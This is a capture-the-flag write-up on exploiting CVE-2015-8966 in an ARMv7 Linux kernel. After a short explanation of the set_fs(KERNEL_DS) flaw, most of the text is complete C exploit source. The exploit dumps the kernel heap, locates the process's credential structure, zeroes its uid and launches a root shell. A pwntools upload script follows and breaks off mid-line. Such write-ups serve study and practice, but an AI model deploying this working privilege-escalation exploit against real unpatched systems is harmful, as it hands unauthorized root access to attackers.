In this challenge, I was given a VM image for ARMv7 with a Linux kernelvulnerable to CVE-2015-8966. Searching for that yielded [a POC from ThomasKing](https://thomasking2014.com/2016/12/05/CVE-2015-8966.html). Looking atthat, I learned that I can get the kernel to return to userspace withoutresetting a call to `set_fs(KERNEL_DS);`. Turns out this means that for anysyscalls taking pointers, the kernel will only allow pointers pointing to kernelmemory and disallow pointers pointing to user-space memory (i.e. the inverse ofwhat's happening normally).
That means, kernel memory can be read written using the `write` and `read`syscalls. Since pointers to user-space can't be given to those syscalls once theexploit is triggered, I needed a way to reset the value of `fs`. I ended upusing `exec` to do that. That makes the resulting exploit a bit confusing, sincethe `main` function has a manually coded state machine with the state encoded in`argv[1]`, but that way we can do an arbitrary amount of syscalls, each onewith `fs` set to `KERNEL_DS` or `USER_DS` depending on what's needed.
From there on, the only question was how to change the credentials of ourprocess to root. While the kernel didn't have any KASLR, the heap addresses forthe `struct task_struct` or `struct cred` still isn't entirely predictable.Calling a function like `commit_creds` isn't completely trivial from memory r/weither. In the end, I decided to dump the whole kernel heap (or rather, a bitmore than that) and search it for the unique `comm` value (i.e. process name) ofour process. This `comm` string is stored inline in the `task_struct` andimmediately preceded by the pointers to the process credentials. (See [here forthe current kernelversion](https://elixir.bootlin.com/linux/v4.20.3/source/include/linux/sched.h).)
There were some duplicate copies of the string in question in the kernel heap,but there only ever was one that was preceded by something looking like a pointerinto the heap. So after following that pointer, we can zero the `uid` field andwe're done. (Except that all the `execs` change the currently active task fromthe time of reading memory. To prevent that from interfering, I forked off achild at the beginning so that this child would change the permissions of theparent process.)
With all that said, here's my full exploit:
```c#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <unistd.h>
#define F_OFD_GETLK 36#define F_OFD_SETLK 37#define F_OFD_SETLKW 38
static long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,                             unsigned long arg) {  register unsigned long _fd asm("a1");  register unsigned long _cmd asm("a2");  register unsigned long _arg asm("a3");  _fd = fd;  _cmd = cmd;  _arg = arg;
  register unsigned long _res asm("a1");  __asm __volatile("swi 0x9000DD"                   : "=r"(_res)                   : "r"(_fd), "r"(_cmd), "r"(_arg)                   :);  return _res;}
static void invalidate_limit(void) {  int fd = open("/proc/cpuinfo", O_RDONLY);  struct flock *map_base = 0;
  if (fd == -1) {    perror("open");    exit(1);  }  map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  if (map_base == (void *)-1) {    perror("mmap");    exit(1);  }  printf("map_base %p\n", map_base);  memset(map_base, 0, 0x1000);  map_base->l_start = SEEK_SET;
  if (sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)) {    perror("sys_oabi_fcntl64");  }  puts("fcntl done");
  munmap(map_base, 0x1000);
  close(fd);}unsigned long kernel_heap_start = 0xc5000000;unsigned long kernel_heap_end = 0xc66f0000;static void dump_heap(int io_fd) {  invalidate_limit();  while (kernel_heap_start != kernel_heap_end) {    printf("dumping more heap\n");    int written = write(io_fd, (void *)kernel_heap_start,                        kernel_heap_end - kernel_heap_start);    if (written == -1) {      perror("write failed");      exit(1);    }    kernel_heap_start += written;  }  printf("heap completely dumped\n");
  int pid = fork();  if (pid == -1) {    perror("fork");    exit(1);  } else if (pid == 0) {    // child    execl("./0123456789abcdef", "0123456789abcdef", "b", NULL);  }}static void wait_children(int count) {  while (count > 0) {    int status;    int r;    do {      r = waitpid(-1, &status, 0);      if (r == -1) {        perror("waitpid");        exit(1);      }    } while (r == 0);    printf("child %d has exited: ", r);    if (WIFEXITED(status))      printf("exit code=%d", WEXITSTATUS(status));    if (WIFSIGNALED(status))      printf("signal=%d", WTERMSIG(status));    if (WIFSTOPPED(status) || WIFCONTINUED(status))      printf("stop/continue");    printf("\n");
    count--;  }}
static void make_write(int io_fd, void *addr, char *next) {  int written = write(io_fd, addr, 4);  if (written != 4) {    if (written == -1)      perror("write failed");    else      printf("incomplete write: %d!\n", written);    exit(1);  }  if (next)    execl("./0123456789abcdef", "0123456789abcdef", next, NULL);}static void make_read(int io_fd, void *addr, char *next) {  int num_read = read(io_fd, addr, 4);  if (num_read != 4) {    if (num_read == -1)      perror("read failed");    else      printf("incomplete read: %d!\n", num_read);    exit(1);  }  if (next)    execl("./0123456789abcdef", "0123456789abcdef", next, NULL);}static unsigned int zero_creds(int io_fd, unsigned int cred_addr) {  printf("credentials at %x\n", cred_addr);
  if (lseek(io_fd, 0, SEEK_SET) == -1) {    perror("lseek");    exit(1);  }  printf("zeroing file\n");  make_write(io_fd, "\0\0\0\0", NULL);  if (lseek(io_fd, 0, SEEK_SET) == -1) {    perror("lseek");    exit(1);  }
  invalidate_limit();  printf("writing credentials\n");  make_read(io_fd, (char *)cred_addr + 4, NULL);  printf("credentials now 0\n");}static unsigned int find_creds(int io_fd) {  char *map_base = mmap(NULL, kernel_heap_end - kernel_heap_start,                        PROT_READ | PROT_WRITE, MAP_PRIVATE, io_fd, 0);  if (map_base == NULL) {    puts("mmap failed");    exit(1);  }  unsigned int num = 0;  for (unsigned i = 0; i < kernel_heap_end - kernel_heap_start - 12; i += 4) {    if (memcmp(map_base + i, "0123456789abcdef", 15) == 0) {      char *pos = map_base + i;      printf("candidate at %x\n", i + kernel_heap_start);
      char *cred_effective = pos - 4;      unsigned int cred_addr = 0;      memcpy(&cred_addr, cred_effective, 4);
      int pid = fork();      if (pid == -1) {        perror("fork");        exit(1);      } else if (pid == 0) {        // child        if (cred_addr >= kernel_heap_start && cred_addr < kernel_heap_end) {          zero_creds(io_fd, cred_addr);        }        exit(0);      }      num++;    }  }
  munmap(map_base, kernel_heap_end - kernel_heap_start);
  return num;}
int main(int argc, char const *argv[]) {  int io_fd = open("./rw", O_CREAT | O_RDWR | O_CLOEXEC, S_IRUSR | S_IWUSR);
  printf("step %s\n", argv[1]);  switch (argv[1][0]) {  case 'a':    dump_heap(io_fd);    wait_children(1);    setuid(0);    if (geteuid() == 0) {      puts("got root");    } else {      puts("still unprivileged :(");    }    execl("/bin/sh", "sh", NULL);    break;  case 'b': {    unsigned int num_candidates = find_creds(io_fd);    wait_children(num_candidates);    break;  }  }}```
And here's the script I used to compile and 'upload' the program through stdin.
```python#!/home/malte/.venvs/pwntools/bin/python
import osfrom pwn import *from subprocess import check_call
#context.log_level = 'debug'
check_call("arm-buildroot-linux-uclibcgnueabihf-gcc -static find-heap-pub.c -O3 &&             arm-buildroot-linux-uclibcgnueabihf-strip a.out", shell=True)
hash_val = md5filehex('./a.out')recv_hash = ''encoded = b64e(open('./a.out').read())
os.chdir('./1118daysober_files')r = process(['./run.sh'], stdin=PTY)#, raw=True)#r = process(['/usr/bin/sshpass', '-p', '1118daysober', 'ssh',#             '[email protected]'], stdin=PTY)#, raw=True)r.readuntil('/ $')
r.sendlinethen('~ $', 'cd /home/user')
while recv_hash != hash_val:    if recv_hash:        print('expected "{}" but got "{}"'.format(hash_val, recv_hash))
    print(r.sendlinethen('\n', 'base64 -d > 0123456789abcdef <